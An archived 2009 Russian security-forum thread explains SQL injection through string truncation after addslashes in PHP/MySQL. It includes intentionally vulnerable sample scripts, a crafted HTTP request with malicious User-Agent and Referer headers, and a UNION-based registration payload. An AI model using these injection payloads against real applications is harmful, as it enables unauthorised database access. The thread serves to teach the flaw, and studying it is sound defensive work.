Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   sql инъекции, там где их на первый взгляд нет. (https://forum.antichat.xyz/showthread.php?t=154731)

(Dm) 07.11.2009 21:41

sql инъекции, там где их на первый взгляд нет.
 
На основе PHP + MYSQL

[ + ] Рассмотрим вариант проведение sql injection с использованием функций усечения строк, на примере функции substr

Структура БД:
Цитата:

CREATE TABLE stats (id int unsigned not null PRIMARY KEY AUTO_INCREMENT, ip varchar(16), useragent varchar(255), referer varchar(255));
Скрипт:
PHP код:

<?php
    mysql_connect
('localhost''root''secretpasswd');
    
mysql_select_db('antichat');    
    
    
//Экранируем кавычки и опасные символы    
    
$useragent addslashes($_SERVER['HTTP_USER_AGENT']);
    
$ip addslashes($_SERVER['REMOTE_ADDR']);
    
$referer addslashes($_SERVER['HTTP_REFERER']);
    
    
//Добавляем запись
    
$sql "INSERT INTO stats (ip, useragent, referer)
            VALUES ('"
.substr($ip016)."', '".substr($useragent0255)."', '".substr($referer0255)."')";
    
    
mysql_query($sql);
    
mysql_close();
?>

Описание:
В этом скрипте переменные усекаются с помощью функции substr, в соответствие с размерностью столбцов. Как видно слэширование опасных символов, производится до усечения переменных. Все это дает нам возможность произвести sql injection.
Для этого, мы должны передать в HTTP_USER_AGENT следующую строку aaa[254]' (т.е 254 символа "a", при этом 255 символ "'"), но после выполнения функции addslashes, получим строку aaa[254]\', а функция substr усечет её до aaa[254]\.

Посмотрим на запрос:
Цитата:

INSERT INTO stats (ip, useragent, referer)
VALUES ('127.0.0.1', 'aaa[254]\', 'тут referer')";
Видим, что слэш "\" экранировал "'", и в итоге через переменную referer мы можем передать произвольную sql конструкцию.

Пример сплоита:

Цитата:

GET /script1.php HTTP/1.1
Host: host
User-Agent: aaa[254]'
Referer: , (SELECT user()))#
Connection: close
Получим:
Цитата:

INSERT INTO stats (ip, useragent, referer)
VALUES ('127.0.0.1', 'aaa[254]\', ', (SELECT user()))# ')";
Запрос успешно выполнится.
[ + ] Рассмотрим более сложный вариант проведения sql injection с помошью усечения строк в mysql.

Представим что есть скрипт регистрации пользователей, неважно форум это или онлайн игра и т.п.
По мимо обычных полей (таких как логин, пароль и т.п.), есть ещё поле интересы, для того чтобы можно было искать единомышленников по общим интересам...

Структура БД:
Цитата:

CREATE TABLE users (login varchar(20) NOT NULL PRIMARY KEY, passwd varchar(32) NOT NULL, hobby varchar(50), city varchar(50));

Скрипт регистрации:


PHP код:

<?php
mysql_connect
('localhost''root''secretpasswd');
mysql_select_db('antichat');

if (!empty(
$_POST['login']) && !empty($_POST['passwd']) && !empty($_POST['hobby']) && !empty($_POST['city'])) {
    
//фильтруем переменные    
    
$login addslashes($_POST['login']);
    
$passwd md5($_POST['passwd']);
    
$hobby addslashes($_POST['hobby']);
    
$city  addslashes($_POST['city']);
    
    
//добовляем нового пользователя
    
$sql "INSERT INTO users (login, passwd, city, hobby)
            VALUES ('"
.$login."', '".$passwd."', '".$city."', '".$hobby."')";
}
mysql_close();

?>

Скрипт авторизации пользователя, поиск людей с общими интересами:

PHP код:

<?php

mysql_connect
('localhost''root''secretpasswd');
mysql_select_db('antichat');

if (!empty(
$_POST['login']) && !empty($_POST['passwd'])) {
    
//Запрос авторизации
    
$sql "SELECT * FROM users 
            WHERE login = '"
.addslashes($_POST['login'])."' and passwd = '".md5($_POST['passwd'])."'";
    
$result mysql_query($sql);
    if (
mysql_num_rows($result) > 0) {    
        
$row mysql_fetch_assoc($result);
        
        
//Ищем земляков с похожими интересами ^_^
        
$sql "SELECT login FROM users
                WHERE hobby = '"
.$row['hobby']."' and city = '".$row['city']."'";
        
        
$result mysql_query($sql);
        
//Собственно выводим найденых пользователей
        
echo '<pre>';
        while (
$row mysql_fetch_assoc($result)) {
              echo 
$row['login']."\n";
        }
        echo 
'</pre>';
    }
    
}
mysql_close();

?>

Описание:
Для начала следует ознакомиться с этим http://www.suspekt.org/2008/08/18/mysql-and-sql-column-truncation-vulnerabilities/

И так, зарегистрируем пользователя:
Цитата:

логин: test
пароль: test
интересы: aaa[49]'
город: union select version() #
В результате будет зарегистрирован пользователь с интересами: aaa[49]\ , потому что "'", будет экранирована, а при добавлении в БД, mysql обрежет строки основываясь на типах. (поле hobby имеет длину 50 символов)

Далее, авторизуемся пользователем test.
И при поиске пользователей с общими интересами будет выполнен запрос:
Цитата:

SELECT login FROM users
WHERE hobby = 'aaa[49]\' and city = ' union select version() #'
Вот собственно и инъекция.

v1d0qz 07.11.2009 22:07

Хотелось бы заметить, что статья очень полезная.. Буду учитывать данные асепекты при написании кода. Раньше этого не знал.
Вывод, не вставлять substr в запрос и не забывать правильно фильтровать поля.

зы. Хотелось бы ещё почитать статьи такого плана как у вас. Ткните пальцем где))

(Dm) 07.11.2009 22:18

Цитата:

Сообщение от v1d0qz
Хотелось бы заметить, что статья очень полезная.. Буду учитывать данные асепекты при написании кода. Раньше этого не знал.
Вывод, не вставлять substr в запрос и не забывать правильно фильтровать поля.

зы. Хотелось бы ещё почитать статьи такого плана как у вас. Ткните пальцем где))

тут глянь
https://forum.antichat.ru/thread148918.html
https://forum.antichat.ru/thread56756.html
https://forum.antichat.ru/thread54355.html

Ded MustD!e 07.11.2009 22:23

собственно об этом уже писал Elekt, ничего нового. https://forum.antichat.ru/showpost.php?p=970729&postcount=3


Время: 14:35